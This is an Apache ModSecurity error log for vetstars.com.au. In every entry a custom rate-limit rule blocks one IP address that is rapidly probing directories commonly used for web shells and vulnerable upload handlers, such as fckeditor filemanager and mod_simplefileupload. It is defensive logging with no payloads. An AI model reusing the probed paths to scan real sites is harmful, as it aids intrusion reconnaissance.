[Thu Mar 05 22:54:32.933836 2026] [:error] [pid 53350:tid 53394] [client 138.199.19.165:52868] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/"] [unique_id "aamZKKO0Baxc5WFYeP2JMQAAARE"]
[Thu Mar 05 22:54:33.514144 2026] [:error] [pid 62177:tid 62328] [client 138.199.19.165:52886] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/"] [unique_id "aamZKRWSQc2OzPrsnwX9IwAAAJA"]
[Thu Mar 05 22:54:34.138994 2026] [:error] [pid 41459:tid 41495] [client 138.199.19.165:52898] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/"] [unique_id "aamZKudFBZEnZ3pzxrWLAwAAAVU"]
[Thu Mar 05 22:54:34.729950 2026] [:error] [pid 41459:tid 41492] [client 138.199.19.165:52924] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/"] [unique_id "aamZKudFBZEnZ3pzxrWLBgAAAVI"]
[Thu Mar 05 22:54:35.428915 2026] [:error] [pid 8151:tid 8222] [client 138.199.19.165:52938] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/"] [unique_id "aamZK5O3dLEidct1HvCzWwAAAYM"]
[Thu Mar 05 22:54:36.036941 2026] [:error] [pid 41459:tid 41490] [client 138.199.19.165:48026] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/"] [unique_id "aamZLOdFBZEnZ3pzxrWLCwAAAVA"]
[Thu Mar 05 22:54:36.641043 2026] [:error] [pid 8151:tid 8239] [client 138.199.19.165:48042] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aamZLJO3dLEidct1HvCzYAAAAZM"]
[Thu Mar 05 22:54:37.155451 2026] [:error] [pid 62177:tid 62317] [client 138.199.19.165:48048] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aamZLRWSQc2OzPrsnwX9JwAAAIY"]
[Thu Mar 05 22:54:37.684268 2026] [:error] [pid 62176:tid 62304] [client 138.199.19.165:48064] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aamZLSNfTPJryi30JPkLOwAAAFQ"]
[Thu Mar 05 22:54:38.252668 2026] [:error] [pid 62435:tid 62457] [client 138.199.19.165:48080] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aamZLiMZJMDfZh_-8sWUyQAAAMc"]
[Thu Mar 05 22:54:38.776082 2026] [:error] [pid 8151:tid 8239] [client 138.199.19.165:48094] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aamZLpO3dLEidct1HvCzZgAAAZM"]
[Thu Mar 05 22:54:39.371742 2026] [:error] [pid 8151:tid 8237] [client 138.199.19.165:48112] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aamZL5O3dLEidct1HvCzaQAAAZE"]
[Thu Mar 05 22:54:39.929184 2026] [:error] [pid 8151:tid 8229] [client 138.199.19.165:48130] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aamZL5O3dLEidct1HvCzbAAAAYo"]
[Thu Mar 05 22:54:40.448490 2026] [:error] [pid 8151:tid 8239] [client 138.199.19.165:48138] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aamZMJO3dLEidct1HvCzbgAAAZM"]
[Thu Mar 05 22:54:41.016801 2026] [:error] [pid 8151:tid 8235] [client 138.199.19.165:48156] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aamZMZO3dLEidct1HvCzcgAAAY8"]
[Thu Mar 05 22:54:41.541259 2026] [:error] [pid 8151:tid 8233] [client 138.199.19.165:48176] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aamZMZO3dLEidct1HvCzdQAAAY0"]
[Thu Mar 05 22:54:42.071120 2026] [:error] [pid 8151:tid 8217] [client 138.199.19.165:48192] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aamZMpO3dLEidct1HvCzdwAAAYA"]
[Thu Mar 05 22:54:42.678604 2026] [:error] [pid 8151:tid 8241] [client 138.199.19.165:48212] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aamZMpO3dLEidct1HvCzegAAAZU"]
[Thu Mar 05 22:54:43.202930 2026] [:error] [pid 53350:tid 53383] [client 138.199.19.165:48220] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/"] [unique_id "aamZM6O0Baxc5WFYeP2JOwAAAQg"]
[Thu Mar 05 22:54:43.776118 2026] [:error] [pid 41459:tid 41484] [client 138.199.19.165:48240] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/"] [unique_id "aamZM-dFBZEnZ3pzxrWLHwAAAUo"]
[Thu Mar 05 22:54:44.355704 2026] [:error] [pid 41459:tid 41478] [client 138.199.19.165:48256] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/"] [unique_id "aamZNOdFBZEnZ3pzxrWLJQAAAUQ"]
[Thu Mar 05 22:54:44.874820 2026] [:error] [pid 8151:tid 8236] [client 138.199.19.165:48302] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/"] [unique_id "aamZNJO3dLEidct1HvCzgAAAAZA"]
[Thu Mar 05 22:54:45.456119 2026] [:error] [pid 62176:tid 62296] [client 138.199.19.165:48312] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/images/slider/"] [unique_id "aamZNSNfTPJryi30JPkLPQAAAEw"]
[Thu Mar 05 22:54:46.407270 2026] [:error] [pid 8151:tid 8230] [client 138.199.19.165:41168] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/images/slider/"] [unique_id "aamZNpO3dLEidct1HvCziAAAAYs"]
[Thu Mar 05 22:54:46.928158 2026] [:error] [pid 8151:tid 8228] [client 138.199.19.165:41188] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/images/slider/"] [unique_id "aamZNpO3dLEidct1HvCzjAAAAYk"]
[Thu Mar 05 22:54:47.496299 2026] [:error] [pid 62435:tid 62452] [client 138.199.19.165:41200] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/images/slider/"] [unique_id "aamZNyMZJMDfZh_-8sWUzQAAAMI"]
[Thu Mar 05 22:54:48.112907 2026] [:error] [pid 62177:tid 62325] [client 138.199.19.165:41210] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/fckeditor/editor/filemanager/"] [unique_id "aamZOBWSQc2OzPrsnwX9MgAAAI0"]
[Thu Mar 05 22:54:48.655692 2026] [:error] [pid 62435:tid 62474] [client 138.199.19.165:41226] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/fckeditor/editor/filemanager/"] [unique_id "aamZOCMZJMDfZh_-8sWUzgAAANg"]
[Thu Mar 05 22:54:49.189128 2026] [:error] [pid 41459:tid 41487] [client 138.199.19.165:41240] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/fckeditor/editor/filemanager/"] [unique_id "aamZOedFBZEnZ3pzxrWLLwAAAU0"]
[Thu Mar 05 22:54:49.741799 2026] [:error] [pid 41459:tid 41484] [client 138.199.19.165:41258] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/fckeditor/editor/filemanager/"] [unique_id "aamZOedFBZEnZ3pzxrWLMwAAAUo"]
[Thu Mar 05 22:54:50.293868 2026] [:error] [pid 8151:tid 8227] [client 138.199.19.165:41276] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sites/default/files/"] [unique_id "aamZOpO3dLEidct1HvCzkwAAAYg"]
[Thu Mar 05 22:54:50.871240 2026] [:error] [pid 62435:tid 62473] [client 138.199.19.165:41296] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sites/default/files/"] [unique_id "aamZOiMZJMDfZh_-8sWUzwAAANc"]
[Thu Mar 05 22:54:51.414730 2026] [:error] [pid 62177:tid 62334] [client 138.199.19.165:41326] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sites/default/files/"] [unique_id "aamZOxWSQc2OzPrsnwX9MwAAAJY"]
[Thu Mar 05 22:54:51.981885 2026] [:error] [pid 62435:tid 62453] [client 138.199.19.165:41344] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sites/default/files/"] [unique_id "aamZOyMZJMDfZh_-8sWU0gAAAMM"]
[Thu Mar 05 22:54:52.495057 2026] [:error] [pid 62177:tid 62331] [client 138.199.19.165:41352] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/controller/extension/extension/"] [unique_id "aamZPBWSQc2OzPrsnwX9NwAAAJM"]
[Thu Mar 05 22:54:53.031903 2026] [:error] [pid 62435:tid 62469] [client 138.199.19.165:41358] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/controller/extension/extension/"] [unique_id "aamZPSMZJMDfZh_-8sWU1AAAANM"]
[Thu Mar 05 22:54:53.593671 2026] [:error] [pid 8151:tid 8234] [client 138.199.19.165:41380] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/controller/extension/extension/"] [unique_id "aamZPZO3dLEidct1HvCzlwAAAY4"]
[Thu Mar 05 22:54:54.145191 2026] [:error] [pid 8151:tid 8225] [client 138.199.19.165:41410] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/controller/extension/extension/"] [unique_id "aamZPpO3dLEidct1HvCzmgAAAYY"]
[Thu Mar 05 22:54:54.812948 2026] [:error] [pid 8151:tid 8241] [client 138.199.19.165:41424] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aamZPpO3dLEidct1HvCznwAAAZU"]
[Thu Mar 05 22:54:55.356063 2026] [:error] [pid 8151:tid 8234] [client 138.199.19.165:41430] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aamZP5O3dLEidct1HvCzpAAAAY4"]
[Thu Mar 05 22:54:55.957714 2026] [:error] [pid 41459:tid 41475] [client 138.199.19.165:41446] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aamZP-dFBZEnZ3pzxrWLPAAAAUE"]
[Thu Mar 05 22:54:56.478422 2026] [:error] [pid 41459:tid 41489] [client 138.199.19.165:51446] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aamZQOdFBZEnZ3pzxrWLPQAAAU8"]
[Thu Mar 05 22:54:57.078545 2026] [:error] [pid 53350:tid 53390] [client 138.199.19.165:51464] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/components/"] [unique_id "aamZQaO0Baxc5WFYeP2JPwAAAQ0"]
[Thu Mar 05 22:54:57.596868 2026] [:error] [pid 8151:tid 8243] [client 138.199.19.165:51484] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/components/"] [unique_id "aamZQZO3dLEidct1HvCzrQAAAZc"]
[Thu Mar 05 22:54:58.314436 2026] [:error] [pid 8151:tid 8221] [client 138.199.19.165:51530] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/components/"] [unique_id "aamZQpO3dLEidct1HvCzrwAAAYI"]
[Thu Mar 05 22:54:58.836550 2026] [:error] [pid 41459:tid 41483] [client 138.199.19.165:51544] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/components/"] [unique_id "aamZQudFBZEnZ3pzxrWLRAAAAUk"]
[Thu Mar 05 22:54:59.354507 2026] [:error] [pid 41459:tid 41481] [client 138.199.19.165:51574] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/images/"] [unique_id "aamZQ-dFBZEnZ3pzxrWLRgAAAUc"]
[Thu Mar 05 22:54:59.955665 2026] [:error] [pid 62173:tid 62259] [client 138.199.19.165:51602] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/images/"] [unique_id "aamZQ2j_GWbFb-1ncGmB9gAAAAc"]
[Thu Mar 05 22:55:00.474046 2026] [:error] [pid 62177:tid 62335] [client 138.199.19.165:51612] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/images/"] [unique_id "aamZRBWSQc2OzPrsnwX9PwAAAJc"]
[Thu Mar 05 22:55:01.115715 2026] [:error] [pid 53350:tid 53388] [client 138.199.19.165:51620] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/images/"] [unique_id "aamZRaO0Baxc5WFYeP2JRwAAAQs"]
[Thu Mar 05 22:55:01.671230 2026] [:error] [pid 8151:tid 8226] [client 138.199.19.165:51632] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aamZRZO3dLEidct1HvCzuQAAAYc"]
[Thu Mar 05 22:55:02.229791 2026] [:error] [pid 41459:tid 41489] [client 138.199.19.165:51658] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aamZRudFBZEnZ3pzxrWLSwAAAU8"]
[Thu Mar 05 22:55:02.814828 2026] [:error] [pid 41459:tid 41494] [client 138.199.19.165:51670] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aamZRudFBZEnZ3pzxrWLTgAAAVQ"]
[Thu Mar 05 22:55:03.333200 2026] [:error] [pid 62177:tid 62329] [client 138.199.19.165:51686] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aamZRxWSQc2OzPrsnwX9QgAAAJE"]
[Thu Mar 05 22:55:03.873861 2026] [:error] [pid 62176:tid 62292] [client 138.199.19.165:51704] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/fonts/"] [unique_id "aamZRyNfTPJryi30JPkLSQAAAEg"]
